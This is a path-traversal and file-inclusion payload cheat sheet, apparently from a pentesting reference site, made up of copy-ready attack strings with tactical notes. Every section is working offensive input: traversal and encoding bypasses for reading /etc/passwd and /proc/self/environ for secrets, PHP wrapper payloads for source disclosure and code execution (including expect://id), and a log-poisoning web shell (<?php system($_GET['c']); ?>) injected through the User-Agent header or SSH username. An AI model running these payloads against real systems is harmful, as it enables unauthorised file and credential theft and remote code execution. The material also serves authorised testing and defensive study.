Path traversal and file inclusion

class

Escaping the directory the application meant to give you, and sometimes getting the file executed on the way out.

37 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Confirm the traversal

One known file, read once. Don't spray a wordlist yet.

KNOWN-GOOD TARGETS6

Linux

/etc/passwdReadable by everyone, obvious when it works, boring enough to be safe to request.

COPY

Linux

/etc/hostname

COPY

Linux

/proc/self/environEnvironment variables — often where the secrets actually are.

COPY

Linux

/proc/self/cmdline

COPY

Windows

C:\windows\win.ini

COPY

Windows

C:\windows\system32\drivers\etc\hosts

COPY

DEPTH4

../../../etc/passwd

COPY

../../../../../../../../etc/passwdOver-traversing is harmless — the filesystem root absorbs the extra levels.

COPY

....//....//....//etc/passwdDefeats a filter that strips ../ exactly once, non-recursively.

COPY

..././..././etc/passwd

COPY

If you get a 200 with an empty body rather than an error, you may be reading the file successfully into somewhere you can't see. Try /etc/hostname, which is short enough that a length change is obvious.

02Encoding the separator

ENCODED TRAVERSAL5

%2e%2e%2fetc%2fpasswd

COPY

..%2fetc%2fpasswd

COPY

%2e%2e/etc/passwd

COPY

..%252f..%252fetc%252fpasswdDouble-encoded. Only useful once the chain probe told you the decode count is two.

COPY

..%c0%af..%c0%afetc/passwdOverlong UTF-8. Rejected by every current decoder — worth one attempt against old Java or an embedded device, and nothing else.

COPY

PATH NORMALISATION5

/api/..;/adminTomcat strips everything after ; in a path segment, so a proxy rule matching the literal path never fires.

COPY

//etc/passwd

COPY

/./etc/passwd

COPY

/etc/./passwd

COPY

/var/www/../../etc/passwdAbsolute path with a traversal, for when the app prefixes a directory you know.

COPY

Anything that says %c0%af is a live technique is copying a write-up from 2005. The UTF-8 specification requires decoders to reject overlong sequences, and Java, .NET, PHP and Python all do.

03Getting round an appended extension

The app does include($_GET['p'] . '.php') and your filename gets a suffix.

EXTENSION APPENDING6

/etc/passwd%00Null byte truncation. Fixed in PHP 5.3.4 — dead on anything supported, still worth one try on genuinely old stacks.

COPY

/etc/passwd/.

COPY

/etc/passwd/./././././././.

COPY

/etc/passwd?

COPY

/etc/passwd#

COPY

....//....//etc/passwd/././././././././././././././././././././././././././.Path-length truncation. Also long dead, and it needed thousands of characters.

COPY

Almost always the answer here is not to defeat the extension but to accept it and read a .php file with a PHP wrapper instead. See below.

04PHP wrappers

Where inclusion turns into source disclosure or execution.

PHP WRAPPERS6

php://filter/convert.base64-encode/resource=index.phpReturns the file base64-encoded, so the PHP never executes and you get the source. The single most useful payload on this page.

COPY

php://filter/convert.base64-encode/resource=../config.php

COPY

php://filter/read=string.rot13/resource=index.php

COPY

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+Needs allow_url_include. Decodes to <?php phpinfo();?>.

COPY

expect://idNeeds the expect extension. Rare, instant RCE when present.

COPY

zip://uploaded.zip%23shell.phpInclude a file from inside an archive you uploaded.

COPY

RECOGNISING THE OUTPUT

Base64 starting `PD9waHA`	`<?php` — you have the source
Base64 starting `PCFET0NUWVBF`	`<!DOCTYPE` — you got HTML, so it executed
Empty response	File missing, or unreadable by the web user

05Log poisoning

Reading a file you can write to.

POISON THEN INCLUDE5

User-Agent

<?php system($_GET['c']); ?>Send this as your User-Agent, then include the access log.

COPY

Path

/var/log/apache2/access.log

COPY

Path

/var/log/nginx/access.log

COPY

Path

/var/log/auth.logPoison by attempting an SSH login with the PHP as the username.

COPY

Path

/proc/self/fd/0Sometimes reaches the log via a file descriptor when the path is unknown.

COPY

Check you can read the log before bothering to poison it. Request the path clean first — if it 404s or returns nothing, poisoning won't change that.